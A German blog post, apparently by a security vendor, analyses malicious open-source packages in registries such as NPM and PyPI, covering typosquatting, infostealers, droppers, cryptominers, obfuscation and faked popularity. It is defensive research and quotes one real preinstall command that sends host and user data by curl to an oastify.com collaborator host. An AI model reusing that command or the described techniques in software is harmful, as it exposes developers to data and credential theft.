In der vorherigen Folge Schädliche Open-Source-Pakete: Das Problemdiskutierten wir, warum die Bedrohungsakteure so begeistert davon, neue bösartige Komponenten zu veröffentlichen oder Malware in die neuesten Versionen bestehender Komponenten einzuschleusen: Die Open-Source-Infrastruktur ermöglicht es jedem überall, ein temporäres Konto zu erstellen in einem Komponentenregister (wie NPM, PyPI, Docker Hub oder Visual Studio Marketplace) oder einer kollaborativen Entwicklungsplattform (wie GitHub). Keine Kosten und viele Möglichkeiten, das übermäßige Vertrauen zu nutzen, das Softwareteams traditionell in Komponenten von Drittanbietern haben.
Die Asymmetrie zwischen der Leichtigkeit, mit der Angreifer über die für Open Source verfügbare Infrastruktur Schadsoftware verbreiten können, und der Schwierigkeit für Software-Entwickler (für alle?), eine Infizierung mit Schadsoftware zu vermeiden (und Schadsoftware in der Software zu installieren, die sie für andere verteilen), hat dazu geführt, dass im vergangenen Jahr fast die Viertelmillion-Marke an Schadpaketen erreicht wurde.
Dies ist ein Problem von einem solchen Ausmaß, dass keine einzelne Organisation es lösen kann, und die Community ist dabei, den Open-Source-Prozess in Bezug auf Vertrauen, Secure-by-Default- und Secure-by-Design-Prinzipien sowie den Lebenszyklus von Komponenten neu zu gestalten. Wir werden uns solche Ideen in der nächsten Folge ansehen. Schutz vor schädlichen Open-Source-Paketen: Was (nicht) funktioniert.
Denken Sie daran, dass wir über Softwarekomponenten sprechen, die meistens entsprechen Softwarepakete: wiederverwendbare Komponenten, die so verpackt sind, dass sie als Abhängigkeit in einem Softwaremanifest referenziert und mit einem Paketmanager oder Build-Tool installiert werden können. Bitte beachten Sie, dass dieser Fall erweitert werden könnte, um öffentliche Containerbilder (wird von Container-Runtimes und Orchestrierungsplattformen wie Kubernetes verwendet) und Erweiterungen für Softwaretools (für Erstellen, Automatisierung und Bereitstellung).
Hier analysieren wir, wie diese Angriffstaktik basierend auf bösartigen Komponenten funktioniert, nach Beispielen aus der Vergangenheit und dem, was wir in unserer Plattform für Malware-Frühwarnung gesehen haben (MEW). Wir werden bösartige Komponenten in verschiedene Dimensionen zerlegen:
(1) der gewählte Verbreitungsweg (verwendete Registrierungsmethode in einer neuen oder vorhandenen Komponente und die zur Infektion der veröffentlichten Komponentenversion verwendete Technik), (2) wie die Schadsoftware aktiviert oder ausgelöst wird, (3) das bösartige Verhalten, d. h. welche schädlichen Aktionen beobachtet werden und was die Motivation des Angreifers ist, (4) welche Techniken zur Verschleierung, zum Verstecken, um unbemerkt zu bleiben, zur lateralen Bewegung, zur Kommunikation mit Command-and-Control-Hosts (C2) usw. üblich sind; und (5) die Techniken, um genügend Popularität und Vertrauen zu gewinnen, sodass die Opfer die Komponente schließlich installieren.
Der gewählte Verteilungsmechanismus
Wir beobachten eine „Hintergrundgeräusche„“ von unkomplizierten Schadpaketen, die Typosquatting verwenden, um unvorsichtigen Entwicklern einen Tippfehler im Paketnamen zu entlocken, um ihre Abhängigkeiten zu ermitteln. Viele beliebte Pakete werden mit einer Flut von Paketen mit ähnlichen Namen und Tippfehlern überhäuft, in der Erwartung, dass sie unvorsichtigen Entwicklern auf die Schliche kommen.
Sie verwenden ein temporäres Konto, veröffentlichen eine Gruppe von Typosquat-Paketen, erstellen ein weiteres und veröffentlichen eine weitere Gruppe … Mit etwas Automatisierung und Einfallsreichtum können sie eine gewisse Raffinesse erreichen, aber normalerweise sind sie eher trivial. Wir nennen sie intern „Sardellen„Der Diebstahl von Anmeldeinformationen ist das Hauptziel, gelegentlich stoßen wir jedoch auf Spyware, die Quellcode oder vertrauliche Daten wie personenbezogene Informationen (PII) oder Clipboard-Captures exfiltriert, und andere bedenkliche Methoden.
Aus heiterem Himmel tauchen immer raffiniertere bösartige Komponenten auf, die „Haie“. Eine Minderheit zielt auf bestimmte Gruppen oder Organisationen ab, typischerweise mit Krypto-Drainern oder Web-Skimmern, die unter bestimmten Bedingungen aktiviert werden, möglicherweise nach dem Ansatz des Ereignisstrom-Vorfall die Angriffsnutzlast nur zu entschlüsseln, wenn auf das Paket von einem Zielpaket aus verwiesen wird.
Der Verteilungsmechanismus wurde in der ausgezeichneten und mittlerweile klassischen Arbeit „Backstabber's Knife Collection: Ein Überblick über Angriffe auf die Lieferkette von Open-Source-Software“, das man unbedingt lesen sollte. Sicherlich haben Sie dieses schöne Diagramm schon einmal gesehen:
Alle Möglichkeiten wurden ausgelotet, darunter neue und bestehende Pakete, die Beeinträchtigung des Quellcodes, des Build-Systems oder der verpackten Komponente selbst, die Verwendung gestohlener Anmeldeinformationen oder Social Engineering, die Entführung verlassener Konten und Repositories oder die Vergiftung gepflegter Konten und Repositories. Einige Angriffe erhielten Namen (Tippfehler, Abhängigkeitsverwirrung, Offensichtliche Verwirrung, Repo-Entführung. usw.) und wurden bereits an anderer Stelle besprochen.
Was ist mit den ausgewählten Registern?
NPM ist nach wie vor führend bei der Gesamtzahl bösartiger Pakete, aber wir haben ab diesem Jahr einen Anstieg bei PyPI festgestellt. Python ist ein beliebtes Ökosystem für Datenwissenschaft und maschinelles Lernen. Tatsächlich ist die Malware-Dichte bei PyPI mittlerweile höher als bei NPM.
So wird die Malware ausgelöst
Schädliche Pakete werden nur in 4 von 10 Fällen während der Installation ausgelöst (in den letzten Jahren waren es fast 6 von 10). Der Rest führt bösartiges Verhalten zur Laufzeit aus, wobei 1 von 100 während laufender Tests ausgelöst wird. Die Angreifer scheinen zu wissen, dass die unkontrollierte Ausführung von Installationsskripten an vielen Stellen deaktiviert wurde.
Was bekommen die Bösen?
Wir werden die Kategorien des bösartigen Verhaltens auflisten, wobei die am häufigsten vorkommenden zuerst kommen. Bitte beachten Sie, dass die Auswirkungen sehr unterschiedlich sein können: Wischer ist hartnäckig destruktiv, kommt aber nicht häufig vor und wurde nur in wenigen Fällen beobachtet, die mit gezielten Cyberwar-Kampagnen oder brutalem Hacktivismus in Zusammenhang standen. Die folgenden Kategorien sind ziemlich häufig:
- InfoStealer / Credentials Drainer. Die mit Abstand häufigsten, über 90 % der einfachen Angriffe, sind einfache Stealer, die hauptsächlich nach Anmeldeinformationen wie Passwörtern, Zugriffstoken, API-Schlüsseln und privaten Schlüsseln (für SSH und dergleichen) suchen. Es ist wahrscheinlich am einfachsten zu schreiben (zusammen mit Wipern?). Sie listen bekannte Dateien/Verzeichnisse und andere Quellen (z. B. Registrierungsschlüssel) auf, packen den Inhalt und senden diese Daten an einen C2-Server. Die Idee ist einfach: „Ich veröffentliche einen Stealer zum Phishing von Anmeldeinformationen, damit ich die Anmeldeinformationen später zum Starten eines gezielten Angriffs verwenden kann.“
Die beobachteten C2-Netzwerke sind typischerweise billig und schmutzig, wie Telegram-Kanäle oder ngrok-ähnliche Tunnelwerkzeuge (oft in Form von Reverse-Proxys, die über VPN-Ausgangs-IPs verfügbar gemacht werden). Es gibt Hunderte (!) von Möglichkeiten, wobei viele GitHub-Projekte unter dem Thema „Passwortdiebstahl“. Spezialisierungen wie Keylogger sind bei bösartigen Paketen und Container-Images selten, kommen jedoch häufiger bei Tool-Erweiterungen vor, bei denen eine Benutzerinteraktion erwartet wird.
- Dropper / Downloader. Die zweitbeliebteste Komponente, die bei mehrstufigen Angriffen normalerweise an erster Stelle steht. Mehr als eine von drei Schadkomponenten verfügt über Dropper (wenn die Schadsoftware im Paket enthalten ist) oder Downloader (die Software wird von einem Endpunkt heruntergeladen, der unter der Kontrolle des Angreifers steht). Die Software ist häufig eine bekannte binäre Malware-Variante und wird ausgeführt und manchmal gespeichert, um Backdoors, Spyware, Crypto Drainer und andere Anwendungsfälle zu installieren. Die heruntergeladene oder bereitgestellte Software startet einen Angriff der zweiten Phase mit der gesamten Leistungsfähigkeit vorhandener Malware-Binärdateien. Die Binärdateien können innerhalb des Pakets verteilt werden, häufig getarnt als Bilder oder vermeintlich harmlose Dateitypen, um eine Erkennung bei der Verbindung mit unerwarteten Websites zu vermeiden.
- Kryptowährungsdiebe/-miner. Finanziell motivierte Angreifer sind bereit, Ihre Cloud-Assets für den Betrieb von Kryptominern zu verwenden (sie erkennen sogar, ob diese in einer Cloud-VM ausgeführt werden). Sie kümmern sich nicht um die niedrige Gewinnquote von 1 Dollar für je 53 Dollar, die dem Opfer für die gestohlene Cloud-Infrastruktur in Rechnung gestellt wurden. Opfer bemerken dies möglicherweise erst, wenn sie eine unerwartete Rechnung erhalten. Glücklicherweise kommt das hin und wieder. Kryptojacken Kampagnen in bösartigen Paketen tauchen gelegentlich auf und verschwinden dann wieder, wobei sie nach Wallet-Benutzern phishen oder schließlich den Wallet-Anbieter ins Visier nehmen, wie in der Ledger-Angriff.
Andere Verhaltensweisen, wie das Bereitstellen eines Hintertür- für die Remote-Code-Ausführung durch Öffnen einer Reverse Shell ist heute weniger verbreitet als in der Vergangenheit. Beispielsweise ist die 123rf_contributor_web Paket (jetzt aus der Registrierung entfernt) öffnet ohne jegliche Verschleierung eine Reverse Shell, die aus dem Spickzettel für die umgekehrte Schale:
Neben legitimen und bösartigen Komponenten haben wir mehrere Missbrauchsfälle beobachtet, darunter:
Spam-Pakete
Es gibt Tausende kleiner Pakete, meist in NPM, die keine Malware enthalten, aber leichtes Geld, Schlangenöl, Links zu Viagra-Angeboten und dergleichen versprechen. Einige Benutzer veröffentlichen solchen Spam und beanspruchen viel Bandbreite aus dem Register. Ein anderer Akteur (möglicherweise aus Indonesien) versuchte, einen Vorteil daraus zu ziehen, indem er Missbrauch des TeaRank soll Open-Source-Entwickler entschädigen, indem Zehntausende miteinander verbundene NPM-Pakete mit zugehörigen GitHub-Dummy-Repositories erstellt werden. Dies ist ein klarer Verstoß gegen die Nutzungsbedingungen.
Bug-Bounty- und Sicherheitsforschungs-Hoaxes
Wenn ein Paket sich selbst als Datenexfiltrierend für gute Zwecke beschreibt, wie etwa das Aufspüren von Sicherheitslücken für Bug-Bounty-Programme oder das Erforschen bestimmter Aspekte des Ökosystems. Wir haben Tausende von Paketen in dieser Kategorie gesehen, die Identifikationsdaten, aber nicht zu sensible Daten, an eine Burp-Collaborator-Adresse von PortSwigger (z. B. Host in der Domäne oastify.com) abrufen. Wir haben oft Nachahmer des Abhängigkeitsverwirrung Proof-of-Concept von Alex Birsan, wie die aurora-webmail-pro Paket (aus der Registrierung entfernt), das einfach diesen lästigen Code im Vorinstallationsskript ausführt:
exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done")
Und enthielt auch ein „Dies ist ein Proof of Concept für einen einfachen Abhängigkeitsverwirrungsangriff” Haftungsausschlussbeschreibung im paket.jsonDies stellt einen klaren Verstoß gegen die Nutzungsbedingungen dar, auch ohne böse Absicht.
Und die gute Nachricht? Wir haben (noch) keine Ransomware-Angriffe durch bösartige Komponenten gesehen. Aus unbekannten Gründen scheinen Cyberkriminelle traditionellere Übermittlungsmechanismen wie E-Mail-Phishing, RDP-basierte und Drive-by-Downloads zu bevorzugen.
Weitere beobachtete Techniken
Viele Techniken wurden zum Zwecke der Persistenz, Umgehung der Verteidigung, Informationsbeschaffung, Kommunikation mit Command-and-Control-Hosts und Exfiltration eingesetzt.
Beharrlichkeit bei bösartigen Komponenten wird durch die Persistenzfunktionen einer binären Malware der zweiten Stufe erreicht, manchmal ist das Verhalten jedoch im Paketcode lokalisiert, wobei geplante Aufgaben und Änderungen in der Windows-Registrierung am häufigsten vorkommen.
Verschleierung ist üblich, aber nicht ausgefeilt. Die meisten Typosquatting-Pakete (denken Sie an das „Sardellen”?) verwenden überhaupt keine Verschleierung; viele verwenden entweder triviale Methoden (Base64/Hex-Kodierung oder Substitutionschiffren wie Rot13) oder verwenden verfügbare Code-Verschleierung und Minimierung, was mit den richtigen Werkzeugen leicht rückgängig gemacht werden kann. Nur die „Haie“ betreiben echte, Hardcore-Verschleierung, die sich nur schwer zurückentwickeln lässt.
Verschleierung kann den Angriff verbergen, aber warum muss Code in einer Open-Source-Komponente verschleiert werden? Gibt es Beweise dafür, dass etwas vor der Öffentlichkeit verborgen werden muss? Wir haben viele Fälle von nicht bösartigen Paketen gefunden, die Verschleierung verwenden, um geistiges Eigentum zu schützen, was im Widerspruch zu „Open Source“ steht. Verschleierung kann als Beweis für Malware verwendet werden, ist aber nicht schlüssig. Außerdem ist es schwierig, sie aufzuheben.
Ausweichen von Verteidigungskontrollen verwendet einfache Techniken. Schädlicher Code wird oft geschützt in versuchen … fangen Blöcke, die alle Ausnahmen ignorieren, sodass abnormale Aktivitäten nicht in den Protokollen angezeigt werden. Eine Überprüfung der Umgebung (Ausführung in einer VM oder einem Container) ist selten, es sei denn, es handelt sich um Malware, die auf eine bestimmte Organisation oder Umgebung abzielt.
Das Maskieren von Binärdateien in Bildern und PDF-Dateien (eine Art Steganografie) war eine weitere Technik, mit der man der Entdeckung entging.
Da die häufigsten bösartigen Komponenten Infostealer sind, Datensammlung ist unerlässlich. Geheimnisse (Passwörter, Zugriffstoken, API-Schlüssel, kryptografische Schlüssel) werden routinemäßig in Protokolldateien, Umgebungsvariablen und sogar in der Zwischenablage gescannt (wie bei Banking-Trojanern und Krypto-Dieben). Quellcode-Exfiltration ist ebenfalls üblich, da die Paketinstallation oft in einem Entwicklungsknoten erfolgt, wo interne Git-Repositorys geklont werden könnten. Wir haben Pakete gesehen, die Verzeichnisse auflisten, um nach Git-Repositorys zu suchen. Die Suche nach Speicherorten wie .env, private.pem, settings.py, app.js oder application.properties ist recht üblich.
Exfiltration ist eine weitere weit verbreitete Aktion. Nur eine Minderheit der bösartigen Pakete versucht überhaupt, das Ziel der extrahierten Daten zu verbergen. Telegrammkanäle und Ngrok-ähnliche Tunnel werden oft verwendet. Und es gibt viele typischerweise Whitelist-Domänen, die zur Exfiltration verwendet werden.
Andere Techniken, wie die Ausweitung von Berechtigungen oder die laterale Bewegung, waren weniger verbreitet.
Popularität und Vertrauen gewinnen
Stellen Sie sich einen Technikbetrüger mit einem vorgefertigten, bösartigen Killerding vor, der sich fragt: „Wie mache ich dieses Stück Scheiße für diese ahnungslosen Idioten vertrauenswürdig?“
Das bedeutet, wie man den Eintrag für die bösartige Komponente so einrichtet, dass viele Sterne/Forks (für Popularität) sowie Versionen/Probleme angezeigt werden und pull requests (für Aktivität). Die Idee ist, fiktive Popularität (Stars) und Anhänger zu gewinnen und ein überzeugendes Erscheinungsbild in Bezug auf Relevanz und Pflege zu erhalten.
Die Registrierung überprüft nicht, ob der Inhalt eines GitHub-Projekts und der Paketinhalt übereinstimmen. Dies ist ein bekanntes Problem in der Software-Lieferkette. Die öffentlichen Register sind riesige Senklöcher, die alles verschlucken, was man ihnen vorsetzt. Sie können jedes Repository verknüpfen.
Wenn das bösartige Paket ein beliebtes Paket mit Tippfehlern besetzt, ist das ganz einfach: Verweisen Sie einfach auf das vorhandene GitHub-Repository im Abhängigkeitsmanifest, das zum Erstellen des Pakets und Veröffentlichen in der Registrierung verwendet wurde. Für neue Pakete in einem gefälschten GitHub-Repository müssen Sie möglicherweise einfallsreicher sein und möglicherweise gefälschte Sterne beobachten/Sterngabelung GitHub-Konten über Skripting.
Und wenn der Inhalt Ihres Pakets dem des Repositorys einigermaßen ähnlich ist, fügen Sie hier und da ein paar gut durchdachte Änderungen ein … Sie können Ihre Malware in ein neues Paket einschleusen, das einem beliebten Paket ähnelt und auf das Repository des vorhandenen Pakets verweist, und auf die Tippfehler warten. Wenn jemand es wagt, den Inhalt des Paket-Tarballs mit dem Inhalt des GitHub-Repositorys zu vergleichen, könnten die Unterschiede an den Malware-Einschleusungspunkten leicht übersehen werden. Wir haben diesen Ansatz schon oft gesehen.
Ein Mechanismus, mit dem eine Komponente eine manipulationssichere Aussage über die Herkunft treffen kann, also darüber, wie das Paket erstellt wurde, aus welchen Quellen und von wem, wäre wünschenswert. Aber das ist eine andere Geschichte.
Ist Komponente X Schadsoftware?
Gibt es eine (umfassende) Datenbank mit Schadpaketen? Nein. Open-Source-Schwachstellen haben eine CVE-ID, aber nur wenige Schadpakete (insbesondere die, die Schlagzeilen machen) erhalten eine. Die CWE für Schadpakete lautet CWE-506 (eingebetteter Schadcode).
Die üblichen Malware-Tools (VirusTotal, MalwareBazaar, SOREL-20M…) treffen keine spezifischen Vorkehrungen für bösartige Komponenten. Das wäre wünschenswert!
Es gibt Forschungsbeispieldatenbanken und Datensätze für die Analyse (wir verwenden einige davon), aber die Einträge werden erst aktualisiert, wenn das Schadpaket bekannt ist, was oft zu spät ist. Wenn Sie interessiert sind, die OpenSSF Schädliche Pakete ist ein schöner Anfang.
Im nächsten Beitrag werden wir besprechen, wie man erkennt, ob ein bestimmtes Paket bösartig ist. Spoiler: Ja, es gibt Möglichkeiten, schon früh im Expositionsfenster nach bösartigen Komponenten zu suchen, bevor die Registrierung eine bekannte bösartige Komponente entfernt.
Weiterführende Literatur
In der nächsten Folge „Schutz vor schädlichen Open-Source-Paketen: Was (nicht) funktioniert" Wir besprechen die Gebote und Verbote der Open-Source-Sicherheit. Die meisten sicherheitsbewussten Fachleute haben eine Intuition, wie mit dieser Bedrohung umzugehen ist, doch es herrschen viele Missverständnisse.
Wir werden untersuchen, warum diese Vorstellungen falsch sind und wie solche Missverständnisse zur Popularität dieses Angriffsmechanismus beitragen und zu dem enormen Risiko, dem Organisationen ausgesetzt sind. Wir werden dann damit fortfahren, was funktioniert und welcher Aufwand und welche Ressourcen dafür erforderlich sind.
Darüber hinaus werden wir über die Entwicklung bösartiger Pakete im Hinblick auf ihre Absicht, ihren Injektionsmechanismus und ihre Angriffstechniken berichten.
Bleib dran!
